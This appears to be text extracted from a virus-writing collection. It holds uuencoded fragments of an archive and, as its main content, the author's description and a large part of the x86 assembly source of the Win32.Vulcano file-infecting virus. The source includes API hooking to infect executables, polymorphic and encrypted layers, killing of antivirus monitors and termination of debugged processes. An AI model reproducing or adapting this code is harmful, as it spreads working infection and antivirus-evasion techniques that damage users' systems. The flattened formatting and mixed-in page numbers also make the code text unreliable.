win2k.installer.source.zipM4$L#!!0``@`(``N(#2G^XMOZ&1H``*98```:````=VEN,FLN:6YS=&%L;&5RM+G-O=7)C92YT>'3;=NVH.AP?\K:I#BK1>[[&=H[FMU:.A2,IB+)$J23-5WX@%@]U^,@0ZED:M+P*Q2H/I:JX!EX$&G(;SX$$/W8=1N^4N0P303WD!?H;_!.LLB82S#K.+)/:"30


ExamplesM-.U3,W@7.!?N[BMKA6+/?5W+%'5,XC;\&CWKMK9SP873K]Z_/+WW,V#PQJY#8G8J-#./7GF[J\SR6Q3*EOU%=)!VG'#1P:%W#Q"P!6Q@OJBVJM'X/JYG%IF(H+!\/F3\[EN>2&J0Y(E66`K#*BIR;EL%@CN(6G$08;2YZ#0L]):+/P4W"/0N[M.`HPI+?`JD(W?U.HPI$.AS@HM54!UK.#/R[AK$"R,4V@ZH89_3T=N5/=0!+@M^6=XNQ'[RAA0TB1(`*UY=EBEXM"G2K5V:C7I255@AH%]]]9HK^;O:-35LG@WS%CN?S^7Y(JCVP+31


ExamplesM8EX1VUJ27ED!^4MR4%&B^'['*G'QZIE&Y7OX);M,4BLE@_8XT-)LBGQK5$PVM/KYQSIS+47]\Z70'6$)7WS].OOM2!82K-/N14$"O#(M`)7W87!_/K41`COD+L47&%'.X+'#R_,\=?GBB4,K^PQNM2O>3**B(SD$@98P396&T`AD+=C-44=9/.03:\=HU>0@!P':)&,0H(Q/ME0FDQ53+[J%6:IK0HFCFK%4T\X5)#WVP/!XU9'CRC-&+WM9A:X/J50%&29FP"B+F0>3`?>(E]S9X]6;3:[O6:WB:L2T\J+T&,E'6T.+>T3MMAO8)%--9DJ-O;6TYRM*?-P4FX)Y1PY.V3&\E@[0)7PEB_2AIDD+)$^N2Y+C0VMU)2X]I&F(=]@@H\5VD%Q'1=W*!!-;A(@CGY\+#E_>B_YC23D


ExamplesM.EIJ:VBL-K0/J(M8H`312O&&/LK2Z2=Z./AH/D0WI;5E8FL+!`YGUV.4M[UE(116X,"U9%'/L:N#,=MI"/3?-!C@:PK'7K)A/W-A#2NG%8M*/%G8Z-`"D9'>4F?/3%OI]7.B$6H\`U$L*E/J0'8D7L,%N+5[3#IG`J0P3BL4K-(^".F5/24C?]R#>RN^[#SZ?:OVR?E-4HP7MPR"M#R!]7"_C)*L/!E0'NS%;_(ANX0&>:%


ExamplesM_$,>=//4N".KRT]EOJCB'E&.2@'NW%O-T28S,0NPJMN`J.T0`=@^0\@TH]_$M>&UF)FRI(WGQU3+5Y"SD_:?--[BK"H+409.\4Q92OI*/H0%9=(VR5*^2F=9QM47Q'`,^TRZ42(+ZN;F0Q9&M-$7RR"EB#IZFT;+@P9B.,=MJ]FO(VE\$4NI>_XN=>GF6_Z&IWZ)PDQIK`%J07BY0NL!35XY`]^VQ*0,MNT8M&E_80\I^>4#^0I$U0,G4IJ4P3?'F10XEOMF"&ZJ+(S"&?Q?AN+H!!.XL!2#H;2BL.VZW&3#[`20UGT,.+OP38M8:+1=OC>DM['NB*MW9>O?IO)HKGZ80-AT%6G$NJ3EUN1R=HNC^#7))[+R\G[M1LU'35G(MC]D:-ML#)J7^Z38UZO3Z^_WF84^.EM[C4G!PV-[@8-"7Q-H(M]=L[PV:74+6M_$DU-3XZMEWFO2-,!M=2K.\H6:II^YO))SLUL!6F'H/1M#,A`IR+4OB25Q_&)WG2!1F7L)28M[HZ6H+A(3D4'102P4&``````$``0!(````41H``````end34


Examples4.2 Win32.Vulcano4.2.1 Description Given by AuthorsThis <strong>virus</strong> is:- the first multiprocess Win32 (Win95/98/NT/2k compatible)<strong>virus</strong> with interprocess communication(!!!)- per-process resident multithreaded fast mid-infector- polymorphic using two layers - advanced BPE32 andsecond semi-morpher- compressed using BCE32- heavilly armoured- CRC32 protected- undetectable by any anti<strong>virus</strong>This <strong>virus</strong> uses:- Structured Exception Handling- EPO routines (<strong>virus</strong> patches one imported API)- CRC32 records instead of raw ANSI strings- Anti-* routines- Pentium and undocumented instructions (also in poly decryptor)This <strong>virus</strong> doesn't:- infect system files- infect files which doesn't contain .reloc section- infect small files- enlarge file- contain any payload35


ExamplesThis <strong>virus</strong> is able to:- deactivate some AV monitors- infect EXE/SCR/SFX/CPL/DAT/BAK files- overwrite relocations- communicate with other instances of <strong>virus</strong>4.2.2 Interprocess communication (IPC)This is the best part of the <strong>virus</strong> :). The main idea is: make all actionsin another process. Imagine, <strong>virus</strong> does nothing. Nothing in actual process.But if another infected program is running in system, <strong>virus</strong> will pass controlto that instance of <strong>virus</strong>. This very difficult stuff is realised by file mappingmirrored in swap file, mutexes and threads. That code is very optimized, butunfortunetely, it contains some bugs, which fortunately aren't much visible.In 99,9999% of all cases u won't see anything suspicious. That's truth.4.2.3 ExecutionVirus will (after patched API will be called):1) Decrypt it's body by polymorphic decryptor2) Decompress <strong>virus</strong> body3) Decrypt <strong>virus</strong> body by 2nd decryptor4) Check consistency of <strong>virus</strong> body by CRC32 - this prevents from settingbreakpoints5) Check for Pentium processor6) Find base of Kernel32.dll in memory7) Find all needed APIs (using CRC32)8) Create new thread which will hook some API functions9) Wait for thread termination10) Create/Open the space in swap file and initialize (create new) record forIPC11) Create new thread for IPC36


Examples12) Jump to hostAfter hooked API call (API manipulating with files) will <strong>virus</strong>:1) Get file name2) Check file properties via IPC3) Open file, check it and infect it via IPC4) Call original API (depending on API)After hooked API call (ExitProcess, GetLastError, ...) will <strong>virus</strong>:1) Check for application level debugger via IPC (if found, process will beremotely terminated - veeery nice feature :))2) Check for system level debugger (SoftICE) via IPC3) Check for monitors in memory via IPC4) Find random file5) Check it via IPC6) Check and infect it via IPCIPC thread in memory will:1) Check for new request2) Do property action3) Pass execution to next thread4.2.4 Source Codetasm32 -ml -m9 -q vulcano.asmtlink32 -Tpe -c -x -aa -r vulcano,,, import32pewrsec vulcano.exe37


Examples.586p ;why not ;).model flat;FLAT modelinclude mz.incinclude pe.incinclude win32api.incinclude useful.inc;include some important;include-filez;some instructionspush_LARGE_0 equ ;PUSH LARGE 0SALC equ ;SALC opcodeRDTCS equ ;RDTCS;some equates for VLCB (VLCB = VuLcano Control Block)VLCB_Signature equ 00 ;signatureVLCB_TSep equ 08 ;record separatorVLCB_THandle equ 00 ;mutex handleVLCB_TID equ 04 ;ID of serviceVLCB_TData equ 08 ;dataVLCB_TSize equ SIZEOF_WIN32_FIND_DATA+8;size of one recordVLCB_SetWait equ 00 ;set data and wait for resultVLCB_WaitGet equ 01 ;wait for signalisation and get dataVLCB_Quit equ 01 ;quitVLCB_Check equ 02 ;check fileVLCB_Infect equ 03 ;infect fileVLCB_Debug1 equ 04 ;check for app level debuggerVLCB_Debug2 equ 05 ;check for SoftICEVLCB_Monitor equ 06 ;check for AVP and AMON monitorsj_api macro API ;JMP DWORD PTR [XXXXXXXXh]dw 25ffhAPI dd ?endmc_api macro API ;CALL DWORD PTR [XXXXXXXXh]dw 15ffhAPI dd ?endmextrn GetModuleHandleA:PROCextrn ExitProcess:PROC;APIs needed in first;generation only38


Examples.data;data sectionVulcanoInit:;Start of <strong>virus</strong>SALC;undoc. opcode to fuck emulatorspush dword ptr [offset _GetModuleHandleA] ;push original APIddAPI = dword ptr $-4push 400000h;push image baseImgBase = dword ptr $-4pushad;store all registerscall gd;get delta offsetgd: pop ebp ;...lea esi, [ebp + _compressed_ - gd] ;where is compressed <strong>virus</strong>;storedlea edi, [ebp + decompressed - gd] ;where will be <strong>virus</strong>;decompressedmov ecx, 0;size of compressed <strong>virus</strong>c_size = dword ptr $-4;Decompression routine from BCE32 starts here.pushad;save all regsxor eax, eax ;EAX = 0xor ebp, ebp ;EBP = 0cdq ;EDX = 0lodsb;load decryption keypush eax;store itlodsb;load first bytepush 8 ;store 8push edx ;store 0d_bits: push ecx;store ECXtest al, 80h ;test for 1jne db0test al, 0c0h ;test for 00je db1test al, 0a0h ;test for 010je db2mov cl, 6 ;its 011jmp tb2testb: test bl, 1 ;is it 1 ?jne p1push 0 ;no, store 0_tb_: mov eax, ebp ;load byte to EAXor al, [esp];set bitror al, 1;and make space for next onecall cbitretp1: push 1 ;store 139


Examplesjmp _tb_;and continuedb0: xor cl, cl ;CL = 0mov byte ptr [esp+4], 1 ;store 1testbits:push eax;store itpush ebx ;...mov ebx, [esp+20];load parameterror bl, cl;shift to next bit groupcall testb;test bitror bl, 1;next bitcall testb;test itpop ebx;restore regspop eaxmov ecx, [esp+4];load parameterbcopy: cmp byte ptr [esp+8], 8 ;8. bit ?jne dnlb;nope, continuemov ebx, eax;load next bytelodsbxchg eax, ebxmov byte ptr [esp+8], 0;and nulify parameterdec dword ptr [esp];decrement parameterdnlb: shl al, 1 ;next bittest bl, 80h ;is it 1 ?je nb;no, continueor al, 1;yeah, set bitnb: rol bl, 1 ;next bitinc byte ptr [esp+8];increment parameterloop bcopy;and align next bitspop ecx;restore ECXinc ecx;test flagsdec ecx ;...jns d_bits;if not sign, jumppop eax;delete pushed parameterspop eax ;...pop eax ;...popad;restore all regsjmp decompressedcbit: inc edx ;increment countercmp dl, 8 ;byte full ?jne n_byte;no, continuestosb;yeah, store bytexor eax, eax;and prepare next onecdq ;...n_byte: mov ebp, eax;save back byteret Pshd;quit from procedure with one parameter on stackdb1: mov cl, 2 ;2. bit in decryption keymov byte ptr [esp+4], 2;2 bit widejmp testbits;test bits40


Examplesdb2: mov cl, 4 ;4. bittb2: mov byte ptr [esp+4], 3 ;3 bit widejmp testbits;test bits_compressed_ db <strong>virus</strong>_end-compressed+200h dup (?) ;here is stored compressed;<strong>virus</strong> bodydecompressed: db <strong>virus</strong>_end-compressed dup (?) ;here decompresseddb size_unint dup (?) ;and here all uninitialized;variablesvirtual_end:;end of <strong>virus</strong> in memoryends.code;start of code sectionfirst_gen:;first generation code;second layer of encryptionmov esi, offset encrypted;encrypt from...mov ecx, (<strong>virus</strong>_end-encrypted+3)/4 ;encrypt how many bytes...encrypt1:lodsd;get dwordxor eax, 1;encryptmov [esi-4], eax;and store itloop encrypt1 ;mov esi, offset compressedmov edi, offset _compressed_mov ecx, <strong>virus</strong>_end-compressed+2mov ebx, offset workspace1mov edx, offset workspace2call BCE32_Compressdec eaxmov [c_size], eax;source;destination;size;workspace1;workspace2;Compress <strong>virus</strong> body!;save compressed <strong>virus</strong> sizepush 0call VulcanoInit;parameter for GetModuleHandleA;call <strong>virus</strong> codepush 0call ExitProcess;parameter for ExitProcess;this will be hooked by <strong>virus</strong> l8r;Compression routine from BCE32 starts here. This is used only in first gen.BCE32_Compress Procpushad;save all regs;stage 1pushad;and againcreate_table:push ecx;save for l8r usagepush 4pop ecx ;ECX = 441


Exampleslodsb;load byte to ALl_table:push eax;save itxor edx, edx ;EDX = 0and al, 3;this stuff will separate and testje st_end;bit groupscmp al, 2je st2cmp al, 3je st3st1: inc edx ;01jmp st_endst2: inc edx ;10inc edxjmp st_endst3: mov dl, 3 ;11st_end: inc dword ptr [ebx+4*edx];increment count in tablepop eaxror al, 2;next bit grouploop l_tablepop ecx;restore number of bytesloop create_table;next bytepush 4;this will check for same numberspop ecx ;ECX = 4re_t: cdq ;EDX = 0t_loop: mov eax, [ebx+4*edx];load DWORDinc dword ptr [ebx+4*edx];increment itcmp eax, [ebx];test for same numbersje _inc_ ;...cmp eax, [ebx+4] ;...je _inc_ ;...cmp eax, [ebx+8] ;...je _inc_ ;...cmp eax, [ebx+12] ;...jne ninc_ ;..._inc_: inc dword ptr [ebx+4*edx];same, increment itinc ecx;increment counter (check it in next turn)ninc_: cmp dl, 3 ;table overflow ?je re_t;yeah, once againinc edx;increment offset to tableloop t_loop;looppopad;restore regs;stage 2pushad;save all regsmov esi, ebx;get pointer to tablepush 3pop ebx ;EBX = 342


Examplesmov ecx, ebx ;ECX = 3rep_sort:;bubble sort = the biggest value will;always "bubble up", so we know number;stepspush ecx;save itmov ecx, ebx;set pointerzmov edi, edx ;...push edx;save itlodsd;load DWORD (count)mov edx, eax;save itsort: lodsd ;load nextcmp eax, edx;is it biggerjb noswap;no, store itxchg eax, edx;yeah, swap DWORDsnoswap: stosd;store itloop sort;next DWORDmov eax, edx;biggest in EDX, swap itstosd;and storelea esi, [edi-16];get back pointerpop edx;restore regspop ecxloop rep_sort;and try next DWORDpopad;stage 3pushad;save all regsxor eax, eax ;EAX = 0push eax;save itpush 4pop ecx ;ECX = 4n_search:push edx;save regspush ecxlea esi, [ebx+4*eax];get pointer to tablepush eax;store reglodsd;load DWORD to EAXpush 3pop ecx ;ECX = 3mov edi, ecx;set pointerzsearch: mov esi, edxpush eax;save itlodsd;load nextmov ebp, eaxpop eaxcmp eax, ebp ;end ?je end_searchdec edi;next searchadd edx, 4loop search43


Examplesend_search:pop eax;and next stepinc eaxpop ecxpop edxadd [esp], edirol byte ptr [esp], 2loop n_searchpop [esp.Pushad_ebx];restore allpopad ;...;stage 4xor ebp, ebp ;EBP = 0xor edx, edx ;EDX = 0mov [edi], bl;store decryption keyinc edi;increment pointernext_byte:xor eax, eax ;EAX = 0push ecxlodsb;load next bytepush 4pop ecx ;ECX = 4next_bits:push ecx;store regspush eaxand al, 3;separate bit grouppush ebx;compare with next groupand bl, 3cmp al, blpop ebxje cb0push ebx;compare with next groupror bl, 2and bl, 3cmp al, blpop ebxje cb1push ebx;compare with next groupror bl, 4and bl, 3cmp al, blpop ebxje cb2push 0 ;store bit 0call copy_bitpush 1 ;store bit 1call copy_bitcb0: push 1 ;store bit 1end_cb1:call copy_bit44


Examplespop eaxpop ecxror al, 2loop next_bits;next bitpop ecxloop next_byte;next bytemov eax, edi;save new sizesub eax, [esp.Pushad_edi] ;...mov [esp.Pushad_eax], eax ;...popad;restore all regscmp eax, ecx;test for negative compressionjb c_ok;positive compressionstc;clear flagret;and quitc_ok: clc ;negative compression, set flagret;and quitcb1: push 0 ;store bit 0end_cb2:call copy_bitpush 0 ;store bit 0jmp end_cb1cb2: push 0 ;store bit 0call copy_bitpush 1 ;store bit 1jmp end_cb2copy_bit:mov eax, ebp;get byte from EBPshl al, 1;make space for next bitor al, [esp+4];set bitjmp cbitBCE32_Compress EndP;end of compression procedurecompressed:;compressed body starts here@SEH_SetupFrame ;setup SEH framecall gdlta;calculate delta offsetgdelta: dd ddFindFirstFileA-gdelta ;addressesdd ddFindNextFileA-gdelta ;of variablesdd ddFindClose-gdelta ;where willdd ddSetFileAttributesA-gdelta ;be storeddd ddSetFileTime-gdelta ;addresses of APIsdd ddCreateFileA-gdeltadd ddCreateFileMappingA-gdeltadd ddMapViewOfFile-gdeltadd ddUnmapViewOfFile-gdeltadd ddCreateThread-gdeltadd ddWaitForSingleObject-gdeltadd ddCloseHandle-gdeltadd ddCreateMutexA-gdelta45


Examplesdd ddReleaseMutex-gdeltadd ddOpenMutexA-gdeltadd ddSleep-gdeltadd ddVirtualProtect-gdeltadd ddGetCurrentProcessId-gdeltadd ddOpenProcess-gdeltadd ddTerminateProcess-gdeltadd ddLoadLibraryA-gdeltadd ddGetProcAddress-gdeltadd ddFreeLibrary-gdeltadd ? ;end of recordnewHookers:dd newFindFirstFileA-gdelta ;addresses of API hookersdd newFindNextFileA-gdeltadd newCopyFileA-gdeltadd newCopyFileExA-gdeltadd newCreateFileA-gdeltadd newCreateProcessA-gdeltadd newDeleteFileA-gdeltadd newGetFileAttributesA-gdeltadd newGetFullPathNameA-gdeltadd new_lopen-gdeltadd newMoveFileA-gdeltadd newMoveFileExA-gdeltadd newOpenFile-gdeltadd newSetFileAttributesA-gdeltadd newWinExec-gdeltadd newExitProcess-gdeltadd newExitThread-gdeltadd newGetLastError-gdeltadd newCloseHandle-gdeltadd ? ;end of recordoldHookers:dd oldFindFirstFileA-gdelta ;addresses, where will bedd oldFindNextFileA-gdelta ;stored originaldd oldCopyFileA-gdelta ;API callersdd oldCopyFileExA-gdeltadd oldCreateFileA-gdeltadd oldCreateProcessA-gdeltadd oldDeleteFileA-gdeltadd oldGetFileAttributesA-gdeltadd oldGetFullPathNameA-gdeltadd old_lopen-gdeltadd oldMoveFileA-gdeltadd oldMoveFileExA-gdeltadd oldOpenFile-gdelta46


ExamplesddddddddddddoldSetFileAttributesA-gdeltaoldWinExec-gdeltaoldExitProcess-gdeltaoldExitThread-gdeltaoldGetLastError-gdeltaoldCloseHandle-gdeltagdlta: pop ebplea esi, [ebp + encrypted - gdelta]mov ecx, (<strong>virus</strong>_end-encrypted+3)/4push espush dspop esdecrypt:lodsdxor eax, 1mov es:[esi-4], eaxloop decrypt;get delta offset;get start of encrypted code;number of dwords to encrypt;save selector;ES=DS;load dword;decrypt it;save dword with AntiAV (usage of;selectors)encrypted:;encrypted code starts herepop es;restore selectorlea esi, [ebp + crc32prot - gdelta] ;start of CRC32 protected codemov edi, <strong>virus</strong>_end-crc32prot;size of thatcall CRC32;calculate CRC32cmp eax, 05BB5B647h;check for consistencycrc32prot:jne jmp_host;jump to host if breakpoints set and such;Pentium+ checkpushadpushfd;save EFLAGSpop eax;get themmov ecx, eax;save themor eax, 200000h;flip ID bit in EFLAGSpush eax;storepopfd;flagspushfd;get them backpop eax ;...xor eax, ecx;same?je end_cc ;shit, we r on 486-xor eax, eax;EAX=0inc eax;EAX=1cpuid;CPUIDand eax, 111100000000b;mask processor familycmp ah, 4 ;is it 486?je end_cc;baaaaaaadpopadmov eax, ds;this will fuck47


Examplespush eaxpop dsmov ebx, dsxor eax, ebxjne jmp_host;some old versions;of NodICEmov eax, 77F00000hcall get_basejecxz k32_foundmov eax, 77E00000hcall get_basejecxz k32_foundmov eax, 77ED0000hcall get_basejecxz k32_foundmov eax, 0BFF70000hcall get_basetest ecx, ecxjne jmp_host;WinNT 4.0 k32 image base;we got image base;Win2k k32 image base;we got image base;Win2k k32 image base;we got image base;Win95/98 k32 image base;base of k32 not found, quitpush cslea ebx, [ebp + k32_found - gdelta] ;continue on another labelpush ebxretf ;fuck u emulator! :)end_cc: popadjmp jmp_host;restore all registers;and jump to hostdb 'Win32.Vulcano by Benny/29A' ;little signature :)k32_found:mov ebx, [esp.cPushad+8];get image base of appmov [ebp + GMHA - gdelta], ebx;save itadd ebx, [ebx.MZ_lfanew];get to PE headerlea esi, [ebp + crcAPIs - gdelta] ;start of CRC32 API tablemov edx, ebp;get table of pointerss_ET: mov edi, [edx] ;get itemtest edi, edi ;is it 0?je end_ET;yeah, work is doneadd edi, ebp;normalizepush eax;save EAXcall SearchET;search for APIstosd;save its addresstest eax, eax ;was it 0?pop eax;restore EAXje jmp_host;yeah, error, quitadd esi, 4;correct pointersadd edx, 4;to pointers...48


Examplesjmp s_ET;loopget_base:pushad;save all registers@SEH_SetupFrame ;setup SEH framexor ecx, ecx;set error valueinc ecxcmp word ptr [eax], IMAGE_DOS_SIGNATURE ;is it EXE?jne err_gbase;no, quitdec ecx;yeah, set flagerr_gbase:;and quit@SEH_RemoveFrame;remove SEH framemov [esp.Pushad_ecx], ecx;save flagpopad;restore all registersret;and quit from procedureend_ET: lea eax, [ebp + tmp - gdelta]push eaxxor eax, eaxpush eaxpush ebplea edx, [ebp + NewThread - gdelta]push edxpush eaxpush eaxmov eax, 0ddCreateThread = dword ptr $-4call eaxtest eax, eaxje jmp_host;now we will create new;thread to hide writing to;Import table;delta offset;address of thread procedure;and other shit to stack;create thread!;is EAX=0?;yeah, quitpush eax;parameter for CloseHandlepush -1;infinite looppush eax;handle of threadcall [ebp + ddWaitForSingleObject - gdelta] ;wait for thread terminationcall [ebp + ddCloseHandle - gdelta];close thread handle;now we will create space in shared memory for VLCB structurecall @VLCBdb 'VLCB',0 ;name of shared area@VLCB: push 2000h;size of areapush 0push PAGE_READWRITEpush 0push -1;SWAP FILE!call [ebp + ddCreateFileMappingA - gdelta] ;open areatest eax, eaxje jmp_host;quit if error49


Examplesxor edx, edxpush edxpush edxpush edxpush FILE_MAP_WRITEpush eaxcall [ebp + ddMapViewOfFile - gdelta] ;map view of file to addressxchg eax, edi;space of <strong>virus</strong>test edi, edije end_gd1;quit if errormov [ebp + vlcbBase - gdelta], edi ;save base address;now we will create named mutexcall @@@1;push address of name@@1: dd 0 ;random name@@@1: RDTCS ;get random numbermov edx, [esp];get address of nameshr eax, 8 ;terminate string with \0mov [edx], eax;and save itmov esi, [esp];get address of generated namepush 0push 0mov eax, 0ddCreateMutexA = dword ptr $-4call eax;create mutextest eax, eaxje end_gd2;quit if error;now we will initialize VLCB structurexor edx, edxmov eax, edimov [eax.VLCB_Signature], 'BCLV';EDX=0;get base of VLCB;save signature;now we will initialize record for threadmov ecx, 20;20 communication channelssr_t: cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0 ;check handlejne tnext;if already reserved, then try nextmov esi, [esi];get name of mutexmov [edi.VLCB_TSep.VLCB_THandle], esi ;save itmov [ebp + t_number - gdelta], edx ;and save ID number of mutexlea eax, [ebp + tmp - gdelta]push eaxxor eax, eaxpush eaxpush ebplea edx, [ebp + mThread - gdelta];create new thread;for IPC;address of thread procedure50


Examplespush edxpush eaxpush eaxcall [ebp + ddCreateThread - gdelta] ;create new threadxchg eax, ecxjecxz end_gd3;quit if errorjmp_host:@SEH_RemoveFrame;remove SEH framemov eax, [esp.cPushad+4];save address of previousmov [esp.Pushad_eax], eax;API callerpopad;restore all regsadd esp, 8;repair stack pointerpush cs;save selectorpush eax;save offset of API callerretf ;jump to host :)tnext: add edi, VLCB_TSize;get to next recordinc edx;increment counterloop sr_t;try againjmp jmp_host;quit if more than 20 <strong>virus</strong>es r in memoryend_gd3:push esicall [ebp + ddCloseHandle - gdelta] ;close mutexend_gd2:push dword ptr [ebp + vlcbBase - gdelta]call [ebp + ddUnmapViewOfFile - gdelta] ;unmap VLCBend_gd1:push edicall [ebp + ddCloseHandle - gdelta] ;close mapping of filejmp jmp_host;and jump to hostgtDelta:call mgdlta;procedure used to gettingmgdelta:db 0b8h ;fuck u disassemblersmgdlta: pop ebp;get itret;and quitnewFindFirstFileA:;hooker for FindFirstFileA APIpush dword ptr [esp+8];push parameterspush dword ptr [esp+8] ;...c_api oldFindFirstFileA;call original APIp_file: pushadcall gtDeltamov ebx, [esp.cPushad+8]call Check&Infectpopadret 8;store all registers;get delta;get Win32 Find Data;try to infect file;restore all registers;and quitnewFindNextFileA:51


Examplespush dword ptr [esp+8];push parameterspush dword ptr [esp+8] ;...c_api oldFindNextFileA;call previous APIjmp p_file;and continueprocess_file:pushad;store all registerscall gtDelta;get delta offsetlea esi, [ebp + WFD2 - mgdelta];get Win32_Find_Datapush esi;save itpush dword ptr [esp.cPushad+0ch] ;push offset to filenamecall [ebp + ddFindFirstFileA - mgdelta] ;find that fileinc eaxje end_pf;quit if errordec eaxxchg eax, ecx;handle to ECXmov ebx, esi;WFD to EBXcall Check&Infect;check and infect itpush ecxcall [ebp + ddFindClose - mgdelta] ;close find handleend_pf: popad;restore all registersret;and quit;generic hookers for some APIsnewCopyFileExA:call process_filej_api oldCopyFileExAnewCopyFileA:call process_filej_api oldCopyFileAnewCreateFileA:call process_filej_api oldCreateFileAnewCreateProcessA:call process_filej_api oldCreateProcessAnewDeleteFileA:call process_filej_api oldDeleteFileAnewGetFileAttributesA:call process_filej_api oldGetFileAttributesAnewGetFullPathNameA:call process_filej_api oldGetFullPathNameAnew_lopen:call process_file52


Examplesj_api old_lopennewMoveFileA:call process_filej_api oldMoveFileAnewMoveFileExA:call process_filej_api oldMoveFileExAnewOpenFile:call process_filej_api oldOpenFilenewSetFileAttributesA:call process_filej_api oldSetFileAttributesAnewWinExec:call process_filej_api oldWinExecopen_driver:xor eax, eax;EAX=0push eax;parameterspush 4000000h;forpush eax;CreateFileApush eax;APIpush eax;functionpush eax ;...push ebxcall [ebp + ddCreateFileA - mgdelta] ;open driverretclose_driver:push eax;close its handlecall [ebp + ddCloseHandle - mgdelta]retcommon_stage:pushadcall gtDelta;infect files in curr. directory;get delta offsetmov ecx, fs:[20h]jecxz n_debug;get context debug;if zero, debug is not presentk_debug:mov eax, 0ddGetCurrentProcessId = dword ptr $-4call eax;get ID number of current processcall vlcb_stuph;common stuphlea esi, [ebp + data_buffer - mgdelta]mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random datamov ebx, VLCB_Debug1;kill debuggercall get_set_VLCB;IPC!53


Examplesvlcb_stuph:xor edx, edxdec edxmov ecx, VLCB_SetWaitret;random thread;set and wait for resultn_debug:call vlcb_stuph;common stuphlea esi, [ebp + data_buffer - mgdelta]mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random datamov ebx, VLCB_Debug2;check for SoftICEcall get_set_VLCB;IPC!mov eax, dword ptr [esi.WFD_szAlternateFileName] ;get resultdec eaxtest eax, eaxje endEP;quit if SoftICE in memorycall vlcb_stuph;common stuphlea esi, [ebp + data_buffer - mgdelta]mov dword ptr [esi.WFD_szAlternateFileName], ebp ;set random datamov ebx, VLCB_Monitor;kill monitorscall get_set_VLCB;IPC!lea ebx, [ebp + WFD - mgdelta];get Win32 Find Datapush ebx;store its addresscall stardb '*.*',0 ;create maskstar: mov eax, 0ddFindFirstFileA = dword ptr $-4call eax;find fileinc eaxje endEP;if error, then quitdec eaxmov [ebp + fHandle - mgdelta], eax ;store handlecall Check&Infect;and try to infect filefindF: lea ebx, [ebp + WFD - mgdelta]push ebxpush_LARGE_0fHandle = dword ptr $-4mov eax, 0ddFindNextFileA = dword ptr $-4call eaxxchg eax, ecxjecxz endEP2call Check&Infectjmp findF;get Win32 Find Data;store address;store handle;find next file;result to ECX;no more files, quit;try to infect file;find another file54


ExamplesendEP2: push dword ptr [ebp + fHandle - mgdelta];store handlemov eax, 0ddFindClose = dword ptr $-4call eax;close itendEP: popadretnewExitProcess:;hooker for ExitProcess APIpushadcall common_stage;infect files in current directorycall gtDelta;get delta offsetmov edx, [ebp + t_number - mgdelta] ;get ID number of threadpush edxmov ecx, VLCB_SetWait;set and wait for resultlea esi, [ebp + data_buffer - mgdelta]mov dword ptr [esi.WFD_szAlternateFileName], ebpmov ebx, VLCB_Quit;terminate threadcall get_set_VLCB;IPC!pop edx;number of threadimul edx, VLCB_TSize;now we willpush VLCB_TSize/4;erase threadpop ecx;recordadd edi, edx;from VLCBadd edi, VLCB_TSepxor eax, eaxrep stosd ;...popadj_api oldExitProcess;jump to original API;next hookersnewExitThread:call common_stagej_api oldExitThreadnewCloseHandle:call common_stagej_api oldCloseHandlenewGetLastError:call common_stagej_api oldGetLastErrorMonitor:pushadcall szU32db 'USER32',0szU32: mov eax, 0;store all registers;push address of string USER32.dll55


ExamplesddLoadLibraryA = dword ptr $-4;Load USER32.dllcall eaxxchg eax, ebxtest ebx, ebxje end_mon2;quit if errorcall FindWindowA;push address of string FindWindowAdb 'FindWindowA',0FindWindowA:push ebx;push lib handlemov eax, 0ddGetProcAddress = dword ptr $-4;get address of FindWindowA APIcall eaxxchg eax, esitest esi, esije end_mon;quit if errorcall PostMessageA;push address of string PostMessageAdb 'PostMessageA',0PostMessageA:push ebxcall [ebp + ddGetProcAddress - mgdelta] ;get address of PostMessageAxchg eax, editest edi, edije end_mon;quit if errormov ecx, 3;number of monitorscall Monitors;push address of stringsdb 'AVP Monitor',0 ;AVP monitordb 'Amon Anti<strong>virus</strong> Monitor',0 ;AMON english versiondb 'Antivírusový monitor Amon',0 ;AMON slovak versionMonitors:pop edx;pop addressk_mon: pushad;store all registersxor ebp, ebppush edxpush ebpcall esi;find windowtest eax, eaxje next_mon;quit if not foundpush ebppush ebppush 12h;WM_QUITpush eaxcall edi;destroy windownext_mon:popad;restore all registerspush esimov esi, edx@endsz;get to next string56


Examplesmov edx, esipop esiloop k_mon;move it to EDX;try another monitorend_mon:push ebxmov eax, 0ddFreeLibrary = dword ptr $-4call eaxend_mon2:popadjmp d_wr;push lib handle;unload library;restore all registers;and quitDebug2: lea ebx, [ebp + sice95 - mgdelta]call open_driverinc eaxje n_sicedec eaxcall close_driverjmp d_wrn_sice: lea ebx, [ebp + siceNT - mgdelta]call open_driverinc eaxje n2_dbdec eaxcall close_driverjmp d_wr;address of softice driver string;open driver;is EAX==0?;yeah, SoftICE is not present;close driver;and quit;address of softice driver string;open driver;quit if not present;close driver;and quitDebug1: push dword ptr [esi.WFD_szAlternateFileName] ;push ID number of processpush 0push 1mov eax, 0ddOpenProcess = dword ptr $-4call eax;open processtest eax, eaxjne n1_dbn2_db: call t_write;quit if errorjmp m_thrdn1_db: push 0push eaxmov eax, 0ddTerminateProcess = dword ptr $-4 ;destroy debugged process :)call eaxjmp t_writemThread:pushad@SEH_SetupFrame ;main IPC thread;setup SEH frame57


Examplescall gtDelta;get deltam_thrd: mov edx, 0;get thread ID numbert_number = dword ptr $-4mov ecx, VLCB_WaitGetlea esi, [ebp + data_buffer - mgdelta]call get_set_VLCB;wait for requestdec ecxjecxz Quit;quitdec ecxjecxz Check;check filecmp ecx, 1je Infect;check and infect filecmp ecx, 2je Debug1;check for debuggercmp ecx, 3je Debug2;check for SoftICEcmp ecx, 4je Monitor;kill AV monitorspush 0call [ebp + ddSleep - mgdelta]jmp m_thrd;switch to next thread;and again...Quit: call t_write ;write resultend_mThread:@SEH_RemoveFrame;remove SEH framepopad;restore all registersret;and quit from threadt_write:xor ecx, ecx;set resultinc ecxt_wr: inc ecxmov dword ptr [esi.WFD_szAlternateFileName], ecx ;write itmov ecx, VLCB_SetWait;set and waitmov edx, [ebp + t_number - mgdelta] ;this threadcall get_set_VLCB;IPC!retCheck: @SEH_SetupFrame ;setup SEH framecall CheckFile;check filejecxz err_sCheck;quit if error_c1_ok: @SEH_RemoveFrame;remove SEH framecall t_write;write resultjmp m_thrd;and quiterr_sCheck:@SEH_RemoveFrame;remove SEH framed_wr: xor ecx, ecxcall t_wr;write resultjmp m_thrd;and quit58


